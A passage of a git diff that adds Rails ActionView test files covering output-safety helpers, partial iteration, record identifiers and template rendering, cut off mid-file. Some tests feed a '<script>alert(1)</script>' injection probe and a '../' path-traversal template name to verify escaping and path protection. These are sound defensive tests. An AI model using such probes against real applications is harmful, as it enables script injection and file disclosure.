diff --git a/actionview/test/template/output_safety_helper_test.rb b/actionview/test/template/output_safety_helper_test.rb
new file mode 100644
index 0000000000..b5e9a77105
--- /dev/null
+++ b/actionview/test/template/output_safety_helper_test.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class OutputSafetyHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::OutputSafetyHelper
+
+  def setup
+    @string = "hello"
+  end
+
+  test "raw returns the safe string" do
+    result = raw(@string)
+    assert_equal @string, result
+    assert result.html_safe?
+  end
+
+  test "raw handles nil values correctly" do
+    assert_equal "", raw(nil)
+  end
+
+  test "safe_join should html_escape any items, including the separator, if they are not html_safe" do
+    joined = safe_join([raw("<p>foo</p>"), "<p>bar</p>"], "<br />")
+    assert_equal "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;", joined
+
+    joined = safe_join([raw("<p>foo</p>"), raw("<p>bar</p>")], raw("<br />"))
+    assert_equal "<p>foo</p><br /><p>bar</p>", joined
+  end
+
+  test "safe_join should work recursively similarly to Array.join" do
+    joined = safe_join(["a", ["b", "c"]], ":")
+    assert_equal "a:b:c", joined
+
+    joined = safe_join(['"a"', ["<b>", "<c>"]], " <br/> ")
+    assert_equal "&quot;a&quot; &lt;br/&gt; &lt;b&gt; &lt;br/&gt; &lt;c&gt;", joined
+  end
+
+  test "safe_join should return the safe string separated by $, when second argument is not passed" do
+    default_delimeter = $,
+
+    begin
+      $, = nil
+      joined = safe_join(["a", "b"])
+      assert_equal "ab", joined
+
+      $, = "|"
+      joined = safe_join(["a", "b"])
+      assert_equal "a|b", joined
+    ensure
+      $, = default_delimeter
+    end
+  end
+
+  test "to_sentence should escape non-html_safe values" do
+    actual = to_sentence(%w(< > & ' "))
+    assert actual.html_safe?
+    assert_equal("&lt;, &gt;, &amp;, &#39;, and &quot;", actual)
+
+    actual = to_sentence(%w(<script>))
+    assert actual.html_safe?
+    assert_equal("&lt;script&gt;", actual)
+  end
+
+  test "to_sentence does not double escape if single value is html_safe" do
+    assert_equal("&lt;script&gt;", to_sentence([ERB::Util.html_escape("<script>")]))
+    assert_equal("&lt;script&gt;", to_sentence(["&lt;script&gt;".html_safe]))
+    assert_equal("&amp;lt;script&amp;gt;", to_sentence(["&lt;script&gt;"]))
+  end
+
+  test "to_sentence connector words are checked for html safety" do
+    assert_equal "one & two, and three", to_sentence(["one", "two", "three"], words_connector: " & ".html_safe)
+    assert_equal "one & two", to_sentence(["one", "two"], two_words_connector: " & ".html_safe)
+    assert_equal "one, two &lt;script&gt;alert(1)&lt;/script&gt; three", to_sentence(["one", "two", "three"], last_word_connector: " <script>alert(1)</script> ")
+  end
+
+  test "to_sentence should not escape html_safe values" do
+    ptag = content_tag("p") do
+      safe_join(["<marquee>shady stuff</marquee>", tag("br")])
+    end
+    url = "https://example.com"
+    expected = %(<a href="#{url}">#{url}</a> and <p>&lt;marquee&gt;shady stuff&lt;/marquee&gt;<br /></p>)
+    actual = to_sentence([link_to(url, url), ptag])
+    assert actual.html_safe?
+    assert_equal(expected, actual)
+  end
+
+  test "to_sentence handles blank strings" do
+    actual = to_sentence(["", "two", "three"])
+    assert actual.html_safe?
+    assert_equal ", two, and three", actual
+  end
+
+  test "to_sentence handles nil values" do
+    actual = to_sentence([nil, "two", "three"])
+    assert actual.html_safe?
+    assert_equal ", two, and three", actual
+  end
+
+  test "to_sentence still supports ActiveSupports Array#to_sentence arguments" do
+    assert_equal "one two, and three", to_sentence(["one", "two", "three"], words_connector: " ")
+    assert_equal "one & two, and three", to_sentence(["one", "two", "three"], words_connector: " & ".html_safe)
+    assert_equal "onetwo, and three", to_sentence(["one", "two", "three"], words_connector: nil)
+    assert_equal "one, two, and also three", to_sentence(["one", "two", "three"], last_word_connector: ", and also ")
+    assert_equal "one, twothree", to_sentence(["one", "two", "three"], last_word_connector: nil)
+    assert_equal "one, two three", to_sentence(["one", "two", "three"], last_word_connector: " ")
+    assert_equal "one, two and three", to_sentence(["one", "two", "three"], last_word_connector: " and ")
+  end
+
+  test "to_sentence is not affected by $," do
+    separator_was = $,
+    $, = "|"
+    begin
+      assert_equal "one and two", to_sentence(["one", "two"])
+      assert_equal "one, two, and three", to_sentence(["one", "two", "three"])
+    ensure
+      $, = separator_was
+    end
+  end
+end
diff --git a/actionview/test/template/partial_iteration_test.rb b/actionview/test/template/partial_iteration_test.rb
new file mode 100644
index 0000000000..06bbdabac0
--- /dev/null
+++ b/actionview/test/template/partial_iteration_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_view/renderer/partial_renderer"
+
+class PartialIterationTest < ActiveSupport::TestCase
+  def test_has_size_and_index
+    iteration = ActionView::PartialIteration.new 3
+    assert_equal 0, iteration.index, "should be at the first index"
+    assert_equal 3, iteration.size, "should have the size"
+  end
+
+  def test_first_is_true_when_current_is_at_the_first_index
+    iteration = ActionView::PartialIteration.new 3
+    assert iteration.first?, "first when current is 0"
+  end
+
+  def test_first_is_false_unless_current_is_at_the_first_index
+    iteration = ActionView::PartialIteration.new 3
+    iteration.iterate!
+    assert !iteration.first?, "not first when current is 1"
+  end
+
+  def test_last_is_true_when_current_is_at_the_last_index
+    iteration = ActionView::PartialIteration.new 3
+    iteration.iterate!
+    iteration.iterate!
+    assert iteration.last?, "last when current is 2"
+  end
+
+  def test_last_is_false_unless_current_is_at_the_last_index
+    iteration = ActionView::PartialIteration.new 3
+    assert !iteration.last?, "not last when current is 0"
+  end
+end
diff --git a/actionview/test/template/record_identifier_test.rb b/actionview/test/template/record_identifier_test.rb
new file mode 100644
index 0000000000..29012e943d
--- /dev/null
+++ b/actionview/test/template/record_identifier_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+
+class RecordIdentifierTest < ActiveSupport::TestCase
+  include ActionView::RecordIdentifier
+
+  def setup
+    @klass  = Comment
+    @record = @klass.new
+    @singular = "comment"
+    @plural = "comments"
+  end
+
+  def test_dom_id_with_new_record
+    assert_equal "new_#{@singular}", dom_id(@record)
+  end
+
+  def test_dom_id_with_new_record_and_prefix
+    assert_equal "custom_prefix_#{@singular}", dom_id(@record, :custom_prefix)
+  end
+
+  def test_dom_id_with_saved_record
+    @record.save
+    assert_equal "#{@singular}_1", dom_id(@record)
+  end
+
+  def test_dom_id_with_prefix
+    @record.save
+    assert_equal "edit_#{@singular}_1", dom_id(@record, :edit)
+  end
+
+  def test_dom_class
+    assert_equal @singular, dom_class(@record)
+  end
+
+  def test_dom_class_with_prefix
+    assert_equal "custom_prefix_#{@singular}", dom_class(@record, :custom_prefix)
+  end
+
+  def test_dom_id_as_singleton_method
+    @record.save
+    assert_equal "#{@singular}_1", ActionView::RecordIdentifier.dom_id(@record)
+  end
+
+  def test_dom_class_as_singleton_method
+    assert_equal @singular, ActionView::RecordIdentifier.dom_class(@record)
+  end
+end
+
+class RecordIdentifierWithoutActiveModelTest < ActiveSupport::TestCase
+  include ActionView::RecordIdentifier
+
+  def setup
+    @record = Plane.new
+  end
+
+  def test_dom_id_with_new_record
+    assert_equal "new_airplane", dom_id(@record)
+  end
+
+  def test_dom_id_with_new_record_and_prefix
+    assert_equal "custom_prefix_airplane", dom_id(@record, :custom_prefix)
+  end
+
+  def test_dom_id_with_saved_record
+    @record.save
+    assert_equal "airplane_1", dom_id(@record)
+  end
+
+  def test_dom_id_with_prefix
+    @record.save
+    assert_equal "edit_airplane_1", dom_id(@record, :edit)
+  end
+
+  def test_dom_class
+    assert_equal "airplane", dom_class(@record)
+  end
+
+  def test_dom_class_with_prefix
+    assert_equal "custom_prefix_airplane", dom_class(@record, :custom_prefix)
+  end
+
+  def test_dom_id_as_singleton_method
+    @record.save
+    assert_equal "airplane_1", ActionView::RecordIdentifier.dom_id(@record)
+  end
+
+  def test_dom_class_as_singleton_method
+    assert_equal "airplane", ActionView::RecordIdentifier.dom_class(@record)
+  end
+end
diff --git a/actionview/test/template/record_tag_helper_test.rb b/actionview/test/template/record_tag_helper_test.rb
new file mode 100644
index 0000000000..7bbbfccdd0
--- /dev/null
+++ b/actionview/test/template/record_tag_helper_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RecordTagPost
+  extend ActiveModel::Naming
+
+  attr_accessor :id, :body
+
+  def initialize
+    @id   = 45
+    @body = "What a wonderful world!"
+
+    yield self if block_given?
+  end
+end
+
+class RecordTagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::RecordTagHelper
+
+  def setup
+    super
+    @post = RecordTagPost.new
+  end
+
+  def test_content_tag_for
+    assert_raises(NoMethodError) { content_tag_for(:li, @post) }
+  end
+
+  def test_div_for
+    assert_raises(NoMethodError) { div_for(@post, class: "special") }
+  end
+end
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
new file mode 100644
index 0000000000..8782eb4430
--- /dev/null
+++ b/actionview/test/template/render_test.rb
@@ -0,0 +1,725 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+
+class TestController < ActionController::Base
+end
+
+module RenderTestCases
+  def setup_view(paths)
+    @assigns = { secret: "in the sauce" }
+    @view = Class.new(ActionView::Base) do
+      def view_cache_dependencies; end
+
+      def combined_fragment_cache_key(key)
+        [ :views, key ]
+      end
+    end.new(paths, @assigns)
+
+    @controller_view = TestController.new.view_context
+
+    # Reload and register danish language for testing
+    I18n.backend.store_translations "da", {}
+    I18n.backend.store_translations "pt-BR", {}
+
+    # Ensure original are still the same since we are reindexing view paths
+    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
+  end
+
+  def test_render_without_options
+    e = assert_raises(ArgumentError) { @view.render() }
+    assert_match(/You invoked render but did not give any of (.+) option\./, e.message)
+  end
+
+  def test_render_file
+    assert_equal "Hello world!", @view.render(file: "test/hello_world")
+  end
+
+  # Test if :formats, :locale etc. options are passed correctly to the resolvers.
+  def test_render_file_with_format
+    assert_match "<h1>No Comment</h1>", @view.render(file: "comments/empty", formats: [:html])
+    assert_match "<error>No Comment</error>", @view.render(file: "comments/empty", formats: [:xml])
+    assert_match "<error>No Comment</error>", @view.render(file: "comments/empty", formats: :xml)
+  end
+
+  def test_render_template_with_format
+    assert_match "<h1>No Comment</h1>", @view.render(template: "comments/empty", formats: [:html])
+    assert_match "<error>No Comment</error>", @view.render(template: "comments/empty", formats: [:xml])
+  end
+
+  def test_rendered_format_without_format
+    @view.render(inline: "test")
+    assert_equal :html, @view.lookup_context.rendered_format
+  end
+
+  def test_render_partial_implicitly_use_format_of_the_rendered_template
+    @view.lookup_context.formats = [:json]
+    assert_equal "Hello world", @view.render(template: "test/one", formats: [:html])
+  end
+
+  def test_render_partial_implicitly_use_format_of_the_rendered_partial
+    @view.lookup_context.formats = [:html]
+    assert_equal "Third level", @view.render(template: "test/html_template")
+  end
+
+  def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
+    @view.lookup_context.formats = [:html]
+    assert_equal "\nHTML Template, but JSON partial", @view.render(template: "test/change_priority")
+  end
+
+  def test_render_template_with_a_missing_partial_of_another_format
+    @view.lookup_context.formats = [:html]
+    e = assert_raise ActionView::Template::Error do
+      @view.render(template: "with_format", formats: [:json])
+    end
+    assert_includes(e.message, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby]}.")
+  end
+
+  def test_render_file_with_locale
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(file: "comments/empty", locale: [:de])
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(file: "comments/empty", locale: :de)
+  end
+
+  def test_render_template_with_locale
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(template: "comments/empty", locale: [:de])
+  end
+
+  def test_render_template_with_variants
+    assert_equal "<h1>No Comment</h1>\n", @view.render(template: "comments/empty", variants: :grid)
+  end
+
+  def test_render_file_with_handlers
+    assert_equal "<h1>No Comment</h1>\n", @view.render(file: "comments/empty", handlers: [:builder])
+    assert_equal "<h1>No Comment</h1>\n", @view.render(file: "comments/empty", handlers: :builder)
+  end
+
+  def test_render_template_with_handlers
+    assert_equal "<h1>No Comment</h1>\n", @view.render(template: "comments/empty", handlers: [:builder])
+  end
+
+  def test_render_raw_template_with_handlers
+    assert_equal "<%= hello_world %>\n", @view.render(template: "plain_text")
+  end
+
+  def test_render_raw_template_with_quotes
+    assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(template: "plain_text_with_characters")
+  end
+
+  def test_render_raw_is_html_safe_and_does_not_escape_output
+    buffer = ActiveSupport::SafeBuffer.new
+    buffer << @view.render(file: "plain_text")
+    assert_equal true, buffer.html_safe?
+    assert_equal buffer, "<%= hello_world %>\n"
+  end
+
+  def test_render_ruby_template_with_handlers
+    assert_equal "Hello from Ruby code", @view.render(template: "ruby_template")
+  end
+
+  def test_render_ruby_template_inline
+    assert_equal "4", @view.render(inline: "(2**2).to_s", type: :ruby)
+  end
+
+  def test_render_file_with_localization_on_context_level
+    old_locale, @view.locale = @view.locale, :da
+    assert_equal "Hey verden", @view.render(file: "test/hello_world")
+  ensure
+    @view.locale = old_locale
+  end
+
+  def test_render_file_with_dashed_locale
+    old_locale, @view.locale = @view.locale, :"pt-BR"
+    assert_equal "Ola mundo", @view.render(file: "test/hello_world")
+  ensure
+    @view.locale = old_locale
+  end
+
+  def test_render_file_at_top_level
+    assert_equal "Elastica", @view.render(file: "/shared")
+  end
+
+  def test_render_file_with_full_path
+    template_path = File.expand_path("../fixtures/test/hello_world", __dir__)
+    assert_equal "Hello world!", @view.render(file: template_path)
+  end
+
+  def test_render_file_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @view.render(file: "test/render_file_with_ivar")
+  end
+
+  def test_render_file_with_locals
+    locals = { secret: "in the sauce" }
+    assert_equal "The secret is in the sauce\n", @view.render(file: "test/render_file_with_locals", locals: locals)
+  end
+
+  def test_render_file_not_using_full_path_with_dot_in_path
+    assert_equal "The secret is in the sauce\n", @view.render(file: "test/dot.directory/render_file_with_ivar")
+  end
+
+  def test_render_partial_from_default
+    assert_equal "only partial", @view.render("test/partial_only")
+  end
+
+  def test_render_outside_path
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
+    assert_raises ActionView::MissingTemplate do
+      @view.render(template: "../\\../test/abstract_unit.rb")
+    end
+  end
+
+  def test_render_partial
+    assert_equal "only partial", @view.render(partial: "test/partial_only")
+  end
+
+  def test_render_partial_with_format
+    assert_equal "partial html", @view.render(partial: "test/partial")
+  end
+
+  def test_render_partial_with_variants
+    assert_equal "<h1>Partial with variants</h1>\n", @view.render(partial: "test/partial_with_variants", variants: :grid)
+  end
+
+  def test_render_partial_with_selected_format
+    assert_equal "partial html", @view.render(partial: "test/partial", formats: :html)
+    assert_equal "partial js", @view.render(partial: "test/partial", formats: [:js])
+  end
+
+  def test_render_partial_at_top_level
+    # file fixtures/_top_level_partial_only (not fixtures/test)
+    assert_equal "top level partial", @view.render(partial: "/top_level_partial_only")
+  end
+
+  def test_render_partial_with_format_at_top_level
+    # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
+    assert_equal "top level partial html", @view.render(partial: "/top_level_partial")
+  end
+
+  def test_render_partial_with_locals
+    assert_equal "5", @view.render(partial: "test/counter", locals: { counter_counter: 5 })
+  end
+
+  def test_render_partial_with_locals_from_default
+    assert_equal "only partial", @view.render("test/partial_only", counter_counter: 5)
+  end
+
+  def test_render_partial_with_number
+    assert_nothing_raised { @view.render(partial: "test/200") }
+  end
+
+  def test_render_partial_with_missing_filename
+    assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/") }
+  end
+
+  def test_render_partial_with_incompatible_object
+    e = assert_raises(ArgumentError) { @view.render(partial: nil) }
+    assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
+  end
+
+  def test_render_partial_starting_with_a_capital
+    assert_nothing_raised { @view.render(partial: "test/FooBar") }
+  end
+
+  def test_render_partial_with_hyphen
+    assert_nothing_raised { @view.render(partial: "test/a-in") }
+  end
+
+  def test_render_partial_with_unicode_text
+    assert_nothing_raised { @view.render(partial: "test/🍣") }
+  end
+
+  def test_render_partial_with_invalid_option_as
+    e = assert_raises(ArgumentError) { @view.render(partial: "test/partial_only", as: "a-in") }
+    assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " \
+      "make sure it starts with lowercase letter, " \
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_hyphen_and_invalid_option_as
+    e = assert_raises(ArgumentError) { @view.render(partial: "test/a-in", as: "a-in") }
+    assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " \
+      "make sure it starts with lowercase letter, " \
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(partial: "test/raise") }
+    assert_match %r!method.*doesnt_exist!, e.message
+    assert_equal "", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code[0].strip
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_error_indentation
+    e = assert_raises(ActionView::Template::Error) { @view.render(partial: "test/raise_indentation") }
+    error_lines = e.annoted_source_code
+    assert_match %r!error\shere!, e.message
+    assert_equal "11", e.line_number
+    assert_equal "     9: <p>Ninth paragraph</p>", error_lines.second
+    assert_equal "    10: <p>Tenth paragraph</p>", error_lines.third
+  end
+
+  def test_render_sub_template_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/sub_template_raise") }
+    assert_match %r!method.*doesnt_exist!, e.message
+    assert_match %r{Trace of template inclusion: .*test/sub_template_raise\.html\.erb}, e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_file_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(file: File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
+    assert_match %r!method.*doesnt_exist!, e.message
+    assert_equal "", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code[0].strip
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_object
+    assert_equal "Hello: david", @view.render(partial: "test/customer", object: Customer.new("david"))
+    assert_equal "FalseClass", @view.render(partial: "test/klass", object: false)
+    assert_equal "NilClass", @view.render(partial: "test/klass", object: nil)
+  end
+
+  def test_render_object_with_array
+    assert_equal "[1, 2, 3]", @view.render(partial: "test/object_inspector", object: [1, 2, 3])
+  end
+
+  def test_render_partial_collection
+    assert_equal "Hello: davidHello: mary", @view.render(partial: "test/customer", collection: [ Customer.new("david"), Customer.new("mary") ])
+  end
+
+  def test_render_partial_collection_with_partial_name_containing_dot
+    assert_equal "Hello: davidHello: mary",
+      @view.render(partial: "test/customer.mobile", collection: [ Customer.new("david"), Customer.new("mary") ])
+  end
+
+  def test_render_partial_collection_as_by_string
+    assert_equal "david david davidmary mary mary",
+      @view.render(partial: "test/customer_with_var", collection: [ Customer.new("david"), Customer.new("mary") ], as: "customer")
+  end
+
+  def test_render_partial_collection_as_by_symbol
+    assert_equal "david david davidmary mary mary",
+      @view.render(partial: "test/customer_with_var", collection: [ Customer.new("david"), Customer.new("mary") ], as: :customer)
+  end
+
+  def test_render_partial_collection_without_as
+    assert_equal "local_inspector,local_inspector_counter,local_inspector_iteration",
+      @view.render(partial: "test/local_inspector", collection: [ Customer.new("mary") ])
+  end
+
+  def test_render_partial_collection_with_different_partials_still_provides_partial_iteration
+    a = {}
+    b = {}
+    def a.to_partial_path; "test/partial_iteration_1"; end
+    def b.to_partial_path; "test/partial_iteration_2"; end
+
+    assert_equal "local-variable\nlocal-variable", @controller_view.render([a, b])
+  end
+
+  def test_render_partial_with_empty_collection_should_return_nil
+    assert_nil @view.render(partial: "test/customer", collection: [])
+  end
+
+  def test_render_partial_with_nil_collection_should_return_nil
+    assert_nil @view.render(partial: "test/customer", collection: nil)
+  end
+
+  def test_render_partial_collection_for_non_array
+    customers = Enumerator.new do |y|
+      y.yield(Customer.new("david"))
+      y.yield(Customer.new("mary"))
+    end
+    assert_equal "Hello: davidHello: mary", @view.render(partial: "test/customer", collection: customers)
+  end
+
+  def test_render_partial_without_object_does_not_put_partial_name_to_local_assigns
+    assert_equal "false", @view.render(partial: "test/partial_name_in_local_assigns")
+  end
+
+  def test_render_partial_with_nil_object_puts_partial_name_to_local_assigns
+    assert_equal "true", @view.render(partial: "test/partial_name_in_local_assigns", object: nil)
+  end
+
+  def test_render_partial_with_nil_values_in_collection
+    assert_equal "Hello: davidHello: Anonymous", @view.render(partial: "test/customer", collection: [ Customer.new("david"), nil ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template
+    assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(partial: "test/customer", layout: "test/b_layout_for_partial", collection: [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
+    assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
+      @view.render(partial: "test/customer", layout: "test/b_layout_for_partial_with_object", collection: [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
+    assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
+      @view.render(partial: "test/customer", layout: "test/b_layout_for_partial_with_object_counter", collection: [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
+    assert_equal '<b class="amazon">Hello: Amazon</b>',
+      @view.render(partial: "test/customer", layout: "test/b_layout_for_partial_with_object", object: Customer.new("Amazon"))
+  end
+
+  def test_render_partial_with_empty_array_should_return_nil
+    assert_nil @view.render(partial: [])
+  end
+
+  def test_render_partial_using_string
+    assert_equal "Hello: Anonymous", @controller_view.render("customer")
+  end
+
+  def test_render_partial_with_locals_using_string
+    assert_equal "Hola: david", @controller_view.render("customer_greeting", greeting: "Hola", customer_greeting: Customer.new("david"))
+  end
+
+  def test_render_partial_with_object_uses_render_partial_path
+    assert_equal "Hello: lifo",
+      @controller_view.render(partial: Customer.new("lifo"), locals: { greeting: "Hello" })
+  end
+
+  def test_render_partial_with_object_and_format_uses_render_partial_path
+    assert_equal "<greeting>Hello</greeting><name>lifo</name>",
+      @controller_view.render(partial: Customer.new("lifo"), formats: :xml, locals: { greeting: "Hello" })
+  end
+
+  def test_render_partial_using_object
+    assert_equal "Hello: lifo",
+      @controller_view.render(Customer.new("lifo"), greeting: "Hello")
+  end
+
+  def test_render_partial_using_collection
+    customers = [ Customer.new("Amazon"), Customer.new("Yahoo") ]
+    assert_equal "Hello: AmazonHello: Yahoo",
+      @controller_view.render(customers, greeting: "Hello")
+  end
+
+  def test_render_partial_using_collection_without_path
+    assert_equal "hi good customer: david0", @controller_view.render([ GoodCustomer.new("david") ], greeting: "hi")
+  end
+
+  def test_render_partial_without_object_or_collection_does_not_generate_partial_name_local_variable
+    exception = assert_raises ActionView::Template::Error do
+      @controller_view.render("partial_name_local_variable")
+    end
+    assert_instance_of NameError, exception.cause
+    assert_equal :partial_name_local_variable, exception.cause.name
+  end
+
+  def test_render_partial_with_no_block_given_to_yield
+    assert_equal "Before (Josh)\n\nAfter", @view.render(partial: "test/layout_for_partial", locals: { name: "Josh" })
+  end
+
+  def test_render_partial_with_non_existent_format_and_raise_missing_template
+    @view.formats = [:xml]
+    assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/layout_for_partial") }
+  ensure
+    @view.formats = nil
+  end
+
+  def test_render_layout_with_block_and_other_partial_inside
+    render = @view.render(layout: "test/layout_with_partial_and_yield") { "Yield!" }
+    assert_equal "Before\npartial html\nYield!\nAfter\n", render
+  end
+
+  def test_render_inline
+    assert_equal "Hello, World!", @view.render(inline: "Hello, World!")
+  end
+
+  def test_render_inline_with_locals
+    assert_equal "Hello, Josh!", @view.render(inline: "Hello, <%= name %>!", locals: { name: "Josh" })
+  end
+
+  def test_render_fallbacks_to_erb_for_unknown_types
+    assert_equal "Hello, World!", @view.render(inline: "Hello, World!", type: :bar)
+  end
+
+  CustomHandler = lambda do |template|
+    "@output_buffer = ''.dup\n" \
+      "@output_buffer << 'source: #{template.source.inspect}'\n"
+  end
+
+  def test_render_inline_with_render_from_to_proc
+    ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
+    assert_equal "3", @view.render(inline: "(1 + 2).to_s", type: :ruby_handler)
+  ensure
+    ActionView::Template.unregister_template_handler :ruby_handler
+  end
+
+  def test_render_inline_with_compilable_custom_type
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_equal 'source: "Hello, World!"', @view.render(inline: "Hello, World!", type: :foo)
+  ensure
+    ActionView::Template.unregister_template_handler :foo
+  end
+
+  def test_render_inline_with_locals_and_compilable_custom_type
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_equal 'source: "Hello, <%= name %>!"', @view.render(inline: "Hello, <%= name %>!", locals: { name: "Josh" }, type: :foo)
+  ensure
+    ActionView::Template.unregister_template_handler :foo
+  end
+
+  def test_render_body
+    assert_equal "some body", @view.render(body: "some body")
+  end
+
+  def test_render_plain
+    assert_equal "some plaintext", @view.render(plain: "some plaintext")
+  end
+
+  def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
+    ActionView::Template::Handlers.extensions
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_includes ActionView::Template::Handlers.extensions, :foo
+  ensure
+    ActionView::Template.unregister_template_handler :foo
+  end
+
+  def test_render_does_not_use_unregistered_extension_and_template_handler
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    ActionView::Template.unregister_template_handler :foo
+    assert_not ActionView::Template::Handlers.extensions.include?(:foo)
+    assert_equal "Hello, World!", @view.render(inline: "Hello, World!", type: :foo)
+  ensure
+    ActionView::Template::Handlers.class_variable_get(:@@template_handlers).delete(:foo)
+  end
+
+  def test_render_ignores_templates_with_malformed_template_handlers
+    %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+      assert File.exist?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
+      assert_raises(ActionView::MissingTemplate) { @view.render(file: "test/malformed/#{name}") }
+    end
+  end
+
+  def test_render_with_layout
+    assert_equal %(<title></title>\nHello world!\n),
+      @view.render(file: "test/hello_world", layout: "layouts/yield")
+  end
+
+  def test_render_with_layout_which_has_render_inline
+    assert_equal %(welcome\nHello world!\n),
+      @view.render(file: "test/hello_world", layout: "layouts/yield_with_render_inline_inside")
+  end
+
+  def test_render_with_layout_which_renders_another_partial
+    assert_equal %(partial html\nHello world!\n),
+      @view.render(file: "test/hello_world", layout: "layouts/yield_with_render_partial_inside")
+  end
+
+  def test_render_partial_with_html_only_extension
+    assert_equal %(<h1>partial html</h1>\nHello world!\n),
+      @view.render(file: "test/hello_world", layout: "layouts/render_partial_html")
+  end
+
+  def test_render_layout_with_block_and_yield
+    assert_equal %(Content from block!\n),
+      @view.render(layout: "layouts/yield_only") { "Content from block!" }
+  end
+
+  def test_render_layout_with_block_and_yield_with_params
+    assert_equal %(Yield! Content from block!\n),
+      @view.render(layout: "layouts/yield_with_params") { |param| "#{param} Content from block!" }
+  end
+
+  def test_render_layout_with_block_which_renders_another_partial_and_yields
+    assert_equal %(partial html\nContent from block!\n),
+      @view.render(layout: "layouts/partial_and_yield") { "Content from block!" }
+  end
+
+  def test_render_partial_and_layout_without_block_with_locals
+    assert_equal %(Before (Foo!)\npartial html\nAfter),
+      @view.render(partial: "test/partial", layout: "test/layout_for_partial", locals: { name: "Foo!" })
+  end
+
+  def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial
+    assert_equal %(Before (Foo!)\npartial html\npartial with partial\n\nAfter),
+      @view.render(partial: "test/partial_with_partial", layout: "test/layout_for_partial", locals: { name: "Foo!" })
+  end
+
+  def test_render_partial_shortcut_with_block_content
+    assert_equal %(Before (shortcut test)\nBefore\n\n  Yielded: arg1/arg2\n\nAfter\nAfter),
+      @view.render(partial: "test/partial_shortcut_with_block_content", layout: "test/layout_for_partial", locals: { name: "shortcut test" })
+  end
+
+  def test_render_layout_with_a_nested_render_layout_call
+    assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
+      @view.render(partial: "test/partial_with_layout", layout: "test/layout_for_partial", locals: { name: "Foo!" })
+  end
+
+  def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_partial
+    assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n  partial html\n\nAfterpartial with layout\n\nAfter),
+      @view.render(partial: "test/partial_with_layout_block_partial", layout: "test/layout_for_partial", locals: { name: "Foo!" })
+  end
+
+  def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_content
+    assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n  Content from inside layout!\n\nAfterpartial with layout\n\nAfter),
+      @view.render(partial: "test/partial_with_layout_block_content", layout: "test/layout_for_partial", locals: { name: "Foo!" })
+  end
+
+  def test_render_partial_with_layout_raises_descriptive_error
